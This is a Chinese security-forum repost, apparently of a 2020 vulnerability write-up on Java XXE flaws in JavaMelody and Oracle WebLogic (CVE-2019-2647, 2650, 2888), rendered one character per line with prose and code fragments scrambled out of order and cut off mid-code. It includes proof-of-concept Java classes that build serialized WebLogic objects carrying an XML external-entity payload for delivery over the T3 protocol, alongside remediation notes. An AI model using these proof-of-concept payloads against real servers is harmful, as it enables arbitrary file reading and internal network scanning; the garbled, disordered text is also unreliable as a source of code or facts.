论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[27745] 2020-04-03_JavaXXE漏洞典型场景浅析
文档创建者:
s7ckTeam
浏览次数:
15
最后更新:
2025-01-19
漏洞
15 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-04-03_JavaXXE漏洞典型场景浅析
J
a
v
a
X
X
E
漏
洞
典
型
场
景
浅
析
t
r
1
p
l
e
O
P
P
O
安
全
应
急
响
应
中
心
2
0
2
0
-
0
4
-
0
3
以
上
文
章
由
来
自
作
者
【
t
r
1
p
l
e
】
的
有
赏
投
稿
,
也
欢
迎
广
大
朋
友
继
续
投
稿
,
详
情
可
点
击
O
S
R
C
重
金
征
集
文
稿
!
!
!
了
解
~
~
温
馨
提
示
:
建
议
投
稿
的
朋
友
尽
量
用
m
a
r
k
d
o
w
n
格
式
,
特
别
是
包
含
大
量
代
码
的
文
章
0
x
0
1
前
言
X
M
L
的
解
析
过
程
中
若
存
在
外
部
实
体
,
若
不
添
加
安
全
的
X
M
L
解
析
配
置
,
则
X
M
L
文
档
将
包
含
来
自
外
部
U
R
I
的
数
据
,
这
一
行
为
将
导
致
X
M
L
E
x
t
e
r
n
a
l
E
n
t
i
t
y
(
X
X
E
)
攻
击
,
从
而
用
于
拒
绝
服
务
攻
击
,
任
意
文
件
读
取
,
内
网
扫
描
。
以
前
对
x
x
e
的
认
识
多
停
留
在
p
h
p
中
,
从
代
码
层
面
而
言
,
其
形
成
原
因
及
防
护
措
施
较
为
单
一
,
而
j
a
v
a
中
依
赖
于
其
丰
富
的
库
,
导
致
解
析
x
m
l
数
据
的
方
式
有
多
种
,
其
防
御
手
段
也
有
着
种
种
联
系
,
本
文
主
要
从
几
个
c
v
e
的
分
析
,
了
解
j
a
v
a
中
x
x
e
的
常
用
x
m
l
解
析
库
、
x
x
e
的
形
成
原
因
、
如
何
挖
掘
j
a
v
a
中
的
x
x
e
以
及
j
a
v
a
中
x
x
e
的
防
护
手
段
。
0
x
0
2
X
X
E
相
关
分
析
1
.
J
a
v
a
M
e
l
o
d
y
组
件
组
件
X
X
E
J
a
v
a
M
e
l
o
d
y
是
一
个
用
来
对
J
a
v
a
应
用
进
行
监
控
的
组
件
。
通
过
该
组
件
,
用
户
可
以
对
内
存
、
C
P
U
、
用
户
s
e
s
s
i
o
n
甚
至
S
Q
L
请
求
等
进
行
监
控
,
并
且
该
组
件
提
供
了
一
个
可
视
化
界
面
给
用
户
使
用
。
默
认
情
况
下
只
要
添
加
p
o
m
依
赖
中
,
其
将
随
w
e
b
服
务
一
起
启
动
,
所
以
不
需
要
什
么
权
限
即
可
访
问
此
路
由
,
若
路
径
泄
露
如
下
图
所
示
本
来
就
会
泄
露
一
些
敏
感
信
息
:
1
.
1
漏
洞
点
分
析
在
m
o
n
i
t
o
r
的
f
i
l
t
e
r
匹
配
之
后
将
会
对
请
求
的
h
t
t
p
请
求
内
容
做
处
理
获
取
请
求
类
型
,
在
n
e
t
/
b
u
l
l
/
j
a
v
a
m
e
l
o
d
y
/
P
a
y
l
o
a
d
N
a
m
e
R
e
q
u
e
s
t
W
r
a
p
p
e
r
中
在
处
理
当
c
o
n
t
e
n
t
-
t
y
p
e
为
以
下
两
种
情
况
:
部
分
函
数
调
用
栈
如
下
图
所
示
:
c
o
n
t
e
n
t
T
y
p
e
.
s
t
a
r
t
s
W
i
t
h
(
"
a
p
p
l
i
c
a
t
i
o
n
/
s
o
a
p
+
x
m
l
"
)
c
o
n
t
e
n
t
T
y
p
e
.
s
t
a
r
t
s
W
i
t
h
(
"
t
e
x
t
/
x
m
l
"
)
|
|
r
e
q
u
e
s
t
s
.
g
e
t
h
e
a
d
e
r
(
"
S
O
A
P
A
c
t
i
o
n
"
)
在
c
o
n
t
e
n
t
t
y
p
e
满
足
x
m
l
数
据
请
求
规
则
后
调
用
p
a
r
s
e
S
o
a
p
M
e
t
h
o
d
N
a
m
e
来
对
h
t
t
p
请
求
内
容
做
解
析
,
这
个
函
数
就
是
漏
洞
所
在
处
这
里
使
用
x
m
l
I
n
p
u
t
F
a
c
t
o
r
工
厂
类
,
该
类
与
D
o
c
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
一
样
都
可
以
设
置
一
些
f
e
a
t
u
r
e
来
规
范
化
x
m
l
处
理
过
程
,
那
么
问
题
就
是
默
认
情
况
下
d
t
d
解
析
和
外
部
实
体
都
是
可
以
使
用
的
,
如
下
两
条
配
置
即
为
导
致
x
x
e
的
默
认
配
置
在
x
m
l
I
n
p
u
t
F
a
c
t
o
r
类
的
文
件
中
就
可
以
找
到
默
认
的
一
些
f
e
a
t
u
r
e
,
我
们
可
以
将
f
e
a
t
u
r
e
理
解
为
为
了
解
析
x
m
l
而
提
供
的
配
置
选
项
p
o
m
依
赖
:
1
.
2
代
码
层
面
修
复
那
么
在
该
组
件
的
新
版
本
中
对
应
的
修
复
如
下
图
所
示
,
默
认
情
况
下
在
创
建
x
m
l
解
析
对
象
之
前
设
置
工
厂
的
f
e
a
t
u
r
e
禁
用
掉
d
t
d
和
外
部
实
体
,
从
而
防
御
x
x
e
1
.
3
如
何
避
免
x
x
e
在
实
际
的
开
发
中
,
对
于
x
m
l
数
据
解
析
流
程
不
需
要
外
部
实
体
参
与
的
情
况
,
设
置
f
e
a
t
u
r
e
将
其
禁
用
。
在
确
定
组
件
版
本
对
x
m
l
的
解
析
已
经
禁
用
掉
外
部
实
体
后
,
也
要
设
计
f
i
l
t
e
r
来
对
该
功
能
的
访
问
进
行
鉴
权
操
作
,
防
止
敏
感
功
能
被
越
权
访
问
。
2
.
W
e
b
l
o
g
i
c
中
的
中
的
x
x
e
这
节
主
要
分
析
w
e
b
l
o
g
i
c
中
的
几
个
x
x
e
,
包
括
C
V
E
-
2
0
1
9
-
2
6
4
7
-
C
V
E
2
0
1
9
-
2
6
5
0
以
及
C
V
E
2
0
1
9
-
2
8
8
8
,
那
么
这
几
个
洞
的
原
因
都
是
w
e
b
l
o
g
i
c
依
赖
的
j
a
r
包
中
涉
及
x
m
l
数
据
处
理
时
默
认
情
况
下
没
有
做
好
外
部
实
体
限
制
措
施
,
导
致
可
以
通
过
T
3
协
议
进
行
序
列
化
p
a
y
l
o
a
d
发
送
,
从
而
利
用
外
部
实
体
进
行
x
x
e
2
.
1
漏
洞
点
分
析
第
一
处
是
O
r
a
c
l
e
/
M
i
d
d
l
e
w
a
r
e
/
w
l
s
e
r
v
e
r
_
1
0
.
3
/
s
e
r
v
e
r
/
l
i
b
/
w
e
b
l
o
g
i
c
.
j
a
r
下
的
w
e
b
l
o
g
i
c
/
w
s
e
e
/
r
e
l
i
a
b
i
l
i
t
y
/
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
,
从
w
e
b
l
o
g
i
c
输
入
流
处
理
到
x
m
l
数
据
解
析
入
口
的
部
分
调
用
栈
如
下
图
所
示
:
<
t
r
>
<
t
d
>
j
a
v
a
x
.
x
m
l
.
s
t
r
e
a
m
.
i
s
S
u
p
p
o
r
t
i
n
g
E
x
t
e
r
n
a
l
E
n
t
i
t
i
e
s
<
/
t
d
>
<
t
d
>
R
e
s
o
l
v
e
e
x
t
e
r
n
a
l
p
a
r
s
e
d
e
n
t
i
t
i
e
s
<
/
t
d
>
<
t
d
>
B
o
o
l
e
a
n
<
/
t
d
>
<
t
d
>
U
n
s
p
e
c
i
f
i
e
d
<
/
t
d
>
<
t
d
>
Y
e
s
<
/
t
d
>
<
/
t
r
>
<
t
r
>
<
t
d
>
j
a
v
a
x
.
x
m
l
.
s
t
r
e
a
m
.
s
u
p
p
o
r
t
D
T
D
<
/
t
d
>
<
t
d
>
U
s
e
t
h
i
s
p
r
o
p
e
r
t
y
t
o
r
e
q
u
e
s
t
p
r
o
c
e
s
s
o
r
s
t
h
a
t
d
o
n
o
t
s
u
p
p
o
r
t
D
T
D
s
<
/
t
d
>
<
t
d
>
B
o
o
l
e
a
n
<
/
t
d
>
<
t
d
>
T
r
u
e
<
/
t
d
>
<
t
d
>
Y
e
s
<
/
t
d
>
<
/
t
r
>
<
d
e
p
e
n
d
e
n
c
y
>
<
g
r
o
u
p
I
d
>
n
e
t
.
b
u
l
l
.
j
a
v
a
m
e
l
o
d
y
<
/
g
r
o
u
p
I
d
>
<
a
r
t
i
f
a
c
t
I
d
>
j
a
v
a
m
e
l
o
d
y
-
s
p
r
i
n
g
-
b
o
o
t
-
s
t
a
r
t
e
r
<
/
a
r
t
i
f
a
c
t
I
d
>
<
v
e
r
s
i
o
n
>
1
.
7
3
.
1
<
/
v
e
r
s
i
o
n
>
<
/
d
e
p
e
n
d
e
n
c
y
>
在
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
的
r
e
a
d
E
n
d
p
t
方
法
中
直
接
就
能
发
现
存
在
x
m
l
解
析
,
其
中
使
用
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
类
作
为
解
析
工
厂
类
,
这
里
并
没
有
添
加
任
何
f
e
a
t
u
r
e
限
制
外
部
实
体
的
加
载
,
所
以
只
需
要
关
心
v
a
r
1
4
是
否
可
控
那
么
在
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
的
r
e
a
d
E
x
t
e
r
n
a
l
方
法
调
用
了
r
e
a
d
E
n
d
p
t
方
法
,
该
方
法
将
在
反
序
列
化
时
自
动
调
用
,
与
通
常
的
r
e
a
d
O
b
j
e
c
t
相
类
似
,
而
r
e
a
d
E
n
d
p
t
中
的
v
a
r
1
4
又
来
自
此
时
的
v
a
r
1
(
p
a
y
l
o
a
d
输
入
流
)
,
所
以
满
足
可
控
条
件
那
么
从
反
序
列
化
到
x
x
e
的
入
口
点
就
是
如
此
,
接
下
来
只
需
要
构
造
满
足
条
件
的
序
列
化
数
据
流
通
过
t
3
协
议
发
送
到
w
e
b
l
o
g
i
c
的
7
0
0
1
端
口
即
可
,
找
到
该
类
的
序
列
化
时
调
用
的
函
数
然
后
跟
踪
其
输
出
流
就
行
在
w
r
i
t
e
E
x
t
e
r
n
a
l
中
判
断
t
h
i
s
.
f
r
o
m
E
n
d
p
t
不
为
n
u
l
l
时
,
调
用
w
r
i
t
e
E
n
d
p
t
传
入
输
出
流
,
可
以
看
到
t
h
i
s
.
f
r
o
m
E
n
d
p
t
实
际
上
是
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
的
实
例
,
根
据
方
法
名
以
及
入
口
参
数
盲
猜
要
将
该
类
的
实
例
写
进
输
出
流
那
么
实
际
上
该
函
数
的
功
能
也
主
要
是
通
过
X
M
L
S
e
r
i
a
l
i
z
e
r
的
s
e
r
l
i
a
l
i
z
e
处
理
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
的
返
回
值
(
E
l
e
m
e
n
t
类
的
实
例
)
后
最
终
存
储
为
字
节
数
组
,
并
在
输
出
流
中
写
入
字
节
数
组
和
其
长
度
,
那
么
X
M
L
S
e
r
i
a
l
i
z
e
r
的
s
e
r
i
a
l
i
z
e
方
法
的
实
现
了
3
种
重
载
,
分
别
可
以
传
入
E
l
e
m
e
n
t
,
D
o
c
u
m
e
n
t
F
r
a
g
m
e
n
t
,
D
o
c
u
m
e
n
t
,
那
么
实
际
上
构
造
x
m
l
的
p
a
y
l
o
a
d
时
如
果
使
用
E
l
e
m
e
n
t
型
的
重
载
,
那
么
实
际
上
写
入
的
序
列
化
数
据
中
包
含
的
x
m
l
数
据
外
部
实
体
将
被
解
析
最
终
只
留
下
节
点
元
素
,
所
以
为
了
在
p
a
y
l
o
a
d
中
保
留
完
整
的
x
m
l
的
p
a
y
l
o
a
d
,
需
要
使
用
D
o
c
u
m
e
n
t
型
的
重
载
,
因
此
这
里
需
要
重
写
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
的
w
r
i
t
e
E
n
d
p
t
方
法
即
可
,
我
们
只
需
删
除
j
a
r
包
中
对
应
的
c
l
a
s
s
字
节
码
文
件
重
新
打
包
引
入
,
然
后
本
地
新
建
与
其
包
名
类
名
一
致
的
该
类
即
可
,
从
而
定
制
如
我
们
目
标
相
符
合
的
序
列
化
数
据
(
接
下
来
几
个
w
e
b
l
o
g
i
c
的
x
x
e
p
a
y
l
o
a
d
本
地
构
造
方
法
均
与
此
一
样
)
构
造
结
构
如
上
图
所
示
,
我
们
知
道
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
的
p
a
r
s
e
处
理
x
m
l
文
件
后
将
返
回
D
o
c
u
m
e
n
t
,
因
此
我
们
只
需
要
将
处
理
结
果
再
传
入
s
e
r
i
a
l
i
z
e
函
数
即
可
达
成
目
标
重
写
部
分
如
下
所
示
:
那
么
根
据
之
前
的
分
析
只
需
赋
值
h
i
s
.
f
r
o
m
E
n
d
p
t
为
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
的
实
例
,
然
后
我
们
自
己
在
重
写
的
w
r
i
t
e
E
n
d
p
t
方
法
中
调
用
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
的
p
a
r
s
e
解
析
x
m
l
的
p
a
y
l
o
a
d
拿
到
d
o
c
u
m
e
n
t
即
可
p
o
c
如
下
:
生
成
的
p
o
c
如
下
所
示
,
序
列
化
的
数
据
包
含
完
整
的
x
m
l
p
a
y
l
o
a
d
,
然
后
使
用
t
3
协
议
直
接
打
即
可
,
由
请
求
也
可
以
看
到
的
确
在
反
序
列
化
的
过
程
中
解
析
了
x
m
l
并
加
载
了
外
部
实
体
p
r
i
v
a
t
e
v
o
i
d
w
r
i
t
e
E
n
d
p
t
(
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
v
a
r
1
,
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
2
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
,
P
a
r
s
e
r
C
o
n
f
i
g
u
r
a
t
i
o
n
E
x
c
e
p
t
i
o
n
,
S
A
X
E
x
c
e
p
t
i
o
n
{
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
v
a
r
3
=
n
e
w
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
O
u
t
p
u
t
F
o
r
m
a
t
v
a
r
4
=
n
e
w
O
u
t
p
u
t
F
o
r
m
a
t
(
"
X
M
L
"
,
(
S
t
r
i
n
g
)
n
u
l
l
,
f
a
l
s
e
)
;
X
M
L
S
e
r
i
a
l
i
z
e
r
v
a
r
5
=
n
e
w
X
M
L
S
e
r
i
a
l
i
z
e
r
(
v
a
r
3
,
v
a
r
4
)
;
D
o
c
u
m
e
n
t
d
o
c
=
n
u
l
l
;
E
l
e
m
e
n
t
e
l
e
m
e
n
t
=
n
u
l
l
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
d
b
F
a
c
t
o
r
y
=
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
.
n
e
w
I
n
s
t
a
n
c
e
(
)
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
d
b
B
u
i
l
d
e
r
=
d
b
F
a
c
t
o
r
y
.
n
e
w
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
(
)
;
d
o
c
=
d
b
B
u
i
l
d
e
r
.
p
a
r
s
e
(
S
y
s
t
e
m
.
g
e
t
P
r
o
p
e
r
t
y
(
"
u
s
e
r
.
d
i
r
"
)
+
"
/
s
r
c
/
m
a
i
n
/
r
e
s
o
u
r
c
e
s
/
t
e
x
t
.
x
m
l
"
)
;
v
a
r
5
.
s
e
r
i
a
l
i
z
e
(
d
o
c
)
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
a
d
d
r
e
s
s
i
n
g
.
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
r
e
l
i
a
b
i
l
i
t
y
.
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
O
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
p
u
b
l
i
c
c
l
a
s
s
w
e
b
l
o
g
i
c
x
x
e
1
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
O
b
j
e
c
t
i
n
s
t
a
n
c
e
=
g
e
t
O
b
j
e
c
t
(
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
u
t
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
x
x
e
"
)
)
;
o
u
t
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
t
a
n
c
e
)
;
o
u
t
.
f
l
u
s
h
(
)
;
o
u
t
.
c
l
o
s
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
(
)
{
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
f
r
o
m
E
n
d
p
t
=
(
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
)
n
e
w
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
(
)
;
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
w
s
p
c
=
n
e
w
W
s
r
m
S
e
r
v
e
r
P
a
y
l
o
a
d
C
o
n
t
e
x
t
(
)
;
t
r
y
{
F
i
e
l
d
f
1
=
w
s
p
c
.
g
e
t
C
l
a
s
s
(
)
.
g
e
t
D
e
c
l
a
r
e
d
F
i
e
l
d
(
"
f
r
o
m
E
n
d
p
t
"
)
;
f
1
.
s
e
t
A
c
c
e
s
s
i
b
l
e
(
t
r
u
e
)
;
f
1
.
s
e
t
(
w
s
p
c
,
f
r
o
m
E
n
d
p
t
)
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
r
e
t
u
r
n
w
s
p
c
;
}
}
第
二
处
位
于
O
r
a
c
l
e
/
M
i
d
d
l
e
w
a
r
e
/
w
l
s
e
r
v
e
r
_
1
0
.
3
/
s
e
r
v
e
r
/
l
i
b
/
w
e
b
l
o
g
i
c
.
j
a
r
下
的
w
e
b
l
o
g
i
c
/
w
s
e
e
/
m
e
s
s
a
g
e
/
U
n
k
n
o
w
n
M
s
g
H
e
a
d
e
r
类
,
该
类
的
r
e
a
d
E
x
t
e
r
n
a
l
方
法
中
直
接
存
在
没
有
任
何
防
御
措
施
的
x
m
l
解
析
,
使
用
的
仍
为
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
,
从
w
e
b
l
o
g
i
c
输
入
流
处
理
到
x
m
l
数
据
解
析
入
口
的
部
分
调
用
栈
如
下
图
所
示
:
在
U
n
k
n
o
w
n
M
s
g
H
e
a
d
e
r
的
r
e
a
d
E
x
t
e
r
n
a
l
方
法
中
x
m
l
解
析
时
的
p
a
r
s
e
方
法
入
口
参
数
v
a
r
9
主
要
来
源
于
输
入
流
O
b
j
e
c
t
i
n
p
u
t
,
可
控
,
那
么
只
需
构
造
相
应
的
序
列
化
数
据
即
可
找
到
其
w
r
i
t
e
E
x
t
e
r
n
a
l
方
法
,
这
里
可
以
看
到
其
写
入
x
m
l
p
a
y
l
o
a
d
时
也
使
用
的
为
X
M
L
S
e
r
i
a
l
i
z
e
r
.
s
e
r
i
a
l
i
z
e
,
这
里
写
入
的
x
m
l
h
e
a
d
e
r
也
可
以
进
行
替
换
成
x
m
l
解
析
后
的
D
o
c
u
m
e
n
t
类
的
实
例
,
但
是
这
里
要
用
到
t
h
i
s
.
q
n
a
m
e
属
性
,
并
向
输
出
流
写
入
该
属
性
的
三
个
值
,
由
于
这
三
个
值
均
为
字
符
串
并
且
并
未
规
定
格
式
,
因
此
我
们
只
需
任
意
赋
值
即
可
修
改
其
w
r
i
t
e
E
x
t
e
r
n
a
l
方
法
如
下
:
p
u
b
l
i
c
v
o
i
d
w
r
i
t
e
E
x
t
e
r
n
a
l
(
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
1
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
v
a
r
1
.
w
r
i
t
e
U
T
F
(
"
t
r
1
p
l
e
"
)
;
v
a
r
1
.
w
r
i
t
e
U
T
F
(
"
t
r
1
p
l
e
"
)
;
v
a
r
1
.
w
r
i
t
e
U
T
F
(
"
t
r
1
p
l
e
"
)
;
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
v
a
r
2
=
n
e
w
B
y
t
e
A
r
r
a
y
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
O
u
t
p
u
t
F
o
r
m
a
t
v
a
r
3
=
n
e
w
O
u
t
p
u
t
F
o
r
m
a
t
(
"
X
M
L
"
,
(
S
t
r
i
n
g
)
n
u
l
l
,
f
a
l
s
e
)
;
X
M
L
S
e
r
i
a
l
i
z
e
r
v
a
r
4
=
n
e
w
X
M
L
S
e
r
i
a
l
i
z
e
r
(
v
a
r
2
,
v
a
r
3
)
;
D
o
c
u
m
e
n
t
d
o
c
=
n
u
l
l
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
d
b
F
a
c
t
o
r
y
=
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
.
n
e
w
I
n
s
t
a
n
c
e
(
)
;
p
o
c
:
生
成
序
列
化
数
据
后
用
t
3
协
议
发
送
即
可
触
发
x
x
e
第
三
处
位
于
O
r
a
c
l
e
/
M
i
d
d
l
e
w
a
r
e
/
w
l
s
e
r
v
e
r
_
1
0
.
3
/
s
e
r
v
e
r
/
l
i
b
/
w
e
b
l
o
g
i
c
.
j
a
r
下
的
w
e
b
l
o
g
i
c
/
w
s
e
e
/
r
e
l
i
a
b
i
l
i
t
y
/
W
s
r
m
S
e
q
u
e
n
c
e
C
o
n
t
e
x
t
类
,
在
其
r
e
a
d
E
n
d
p
t
方
法
中
同
样
存
在
与
前
两
个
分
析
中
相
似
的
处
理
流
程
,
使
用
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
来
解
析
包
含
x
m
l
p
a
y
l
o
a
d
的
输
入
流
,
从
w
e
b
l
o
g
i
c
输
入
流
处
理
到
x
m
l
数
据
解
析
入
口
的
部
分
调
用
栈
如
下
图
所
示
:
在
其
r
e
a
d
E
x
t
e
r
n
a
l
方
法
中
调
用
了
r
e
a
d
E
n
d
p
t
方
法
,
这
里
v
a
r
2
为
我
们
构
造
的
x
m
l
数
据
的
长
度
,
所
以
肯
定
大
于
零
那
么
只
需
要
按
照
其
w
r
i
t
e
E
n
d
p
t
规
范
的
逻
辑
写
就
行
,
我
们
只
需
在
调
用
s
e
r
i
a
l
i
z
e
前
控
制
其
入
口
参
数
的
值
即
可
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
d
b
B
u
i
l
d
e
r
=
n
u
l
l
;
t
r
y
{
d
b
B
u
i
l
d
e
r
=
d
b
F
a
c
t
o
r
y
.
n
e
w
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
(
)
;
d
o
c
=
d
b
B
u
i
l
d
e
r
.
p
a
r
s
e
(
S
y
s
t
e
m
.
g
e
t
P
r
o
p
e
r
t
y
(
"
u
s
e
r
.
d
i
r
"
)
+
"
/
s
r
c
/
m
a
i
n
/
r
e
s
o
u
r
c
e
s
/
t
e
x
t
.
x
m
l
"
)
;
}
c
a
t
c
h
(
P
a
r
s
e
r
C
o
n
f
i
g
u
r
a
t
i
o
n
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
c
a
t
c
h
(
S
A
X
E
x
c
e
p
t
i
o
n
e
)
{
e
.
p
r
i
n
t
S
t
a
c
k
T
r
a
c
e
(
)
;
}
v
a
r
4
.
s
e
r
i
a
l
i
z
e
(
d
o
c
)
;
i
m
p
o
r
t
o
r
g
.
w
3
c
.
d
o
m
.
E
l
e
m
e
n
t
;
i
m
p
o
r
t
w
e
b
l
o
g
i
c
.
w
s
e
e
.
m
e
s
s
a
g
e
.
U
n
k
n
o
w
n
M
s
g
H
e
a
d
e
r
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
I
O
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
p
u
b
l
i
c
c
l
a
s
s
w
e
b
l
o
g
i
c
x
x
e
2
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
O
b
j
e
c
t
i
n
s
t
a
n
c
e
=
g
e
t
O
b
j
e
c
t
(
)
;
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
o
u
t
=
n
e
w
O
b
j
e
c
t
O
u
t
p
u
t
S
t
r
e
a
m
(
n
e
w
F
i
l
e
O
u
t
p
u
t
S
t
r
e
a
m
(
"
x
x
e
3
"
)
)
;
o
u
t
.
w
r
i
t
e
O
b
j
e
c
t
(
i
n
s
t
a
n
c
e
)
;
o
u
t
.
f
l
u
s
h
(
)
;
o
u
t
.
c
l
o
s
e
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
O
b
j
e
c
t
g
e
t
O
b
j
e
c
t
(
)
{
U
n
k
n
o
w
n
M
s
g
H
e
a
d
e
r
u
m
h
=
n
e
w
U
n
k
n
o
w
n
M
s
g
H
e
a
d
e
r
(
)
;
r
e
t
u
r
n
u
m
h
;
}
}
更
改
后
的
w
r
i
t
e
E
x
t
e
r
n
a
l
如
下
:
p
o
c
:
第
四
处
位
于
O
r
a
c
l
e
/
M
i
d
d
l
e
w
a
r
e
/
w
l
s
e
r
v
e
r
_
1
0
.
3
/
s
e
r
v
e
r
/
l
i
b
/
w
e
b
l
o
g
i
c
.
j
a
r
下
的
w
e
b
l
o
g
i
c
/
w
s
e
e
/
w
s
t
x
/
i
n
t
e
r
n
a
l
/
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
类
,
从
w
e
b
l
o
g
i
c
输
入
流
处
理
到
反
序
列
化
入
口
的
过
程
部
分
调
用
栈
如
下
图
所
示
:
在
F
o
r
e
i
g
n
R
e
c
o
v
e
r
y
C
o
n
t
e
x
t
的
类
文
件
定
义
中
如
果
直
接
找
并
未
发
现
x
m
l
的
处
理
流
程
,
该
处
的
利
用
相
较
于
前
三
处
构
造
来
说
还
是
稍
微
精
巧
一
点
,
需
要
了
解
一
下
代
码
的
基
本
处
理
逻
辑
。
网
上
也
没
找
到
相
应
的
具
体
分
析
,
只
有
p
r
i
v
a
t
e
v
o
i
d
w
r
i
t
e
E
n
d
p
t
(
E
n
d
p
o
i
n
t
R
e
f
e
r
e
n
c
e
v
a
r
1
,
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
2
)
t
h
r
o
w
s
I
O
E
x
c
e
p
t
i
o
n
{
t
r
y
{
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
v
a
r
3
=
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
F
a
c
t
o
r
y
.
n
e
w
I
n
s
t
a
n
c
e
(
)
;
v
a
r
3
.
s
e
t
N
a
m
e
s
p
a
c
e
A
w
a
r
e
(
t
r
u
e
)
;
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
v
a
r
4
=
v
a
r
3
.
n
e
w
D
o
c
u
m
e
n
t
B
u
i
l
d
e
r
(
)
;
D
o
c
u
m
e
n
t
v
a
r
5
=
v
a
r
4
.
n
e
w
D
o
c
u
m
e
n
t
(
)
;
E
l
e
m
e
n
t
v
a
r
6
=
v
a
r
5
.
c
r
e
a
t
e
E
l
e
m
e
n
t
N
S
(
t
h
i
s
.
r
m
V
e
r
s
i
o
n
.
g
e
t
N
a
m
e
s
p
a
c
e
U
r
i
(
)
,
w
e
b
l
o
g
i
c
.
w
s
e
e
.
r
e
l
i
a
b
i
l
i
t
y
.
W
s
r
m
C
o
n
s
t
a
n
t
s
.
E
l
e
m
e
n
t
.
A
C
K
S
_
T
O
.
g
e
t
Q
u
a
l
i
f
i
e
d
N
a
m
e
(
t
h
i
s
.
r
m
V
e
r
s
i
o
n
)
)
;
D
O
M
U
t
i
l
s
.
a
d
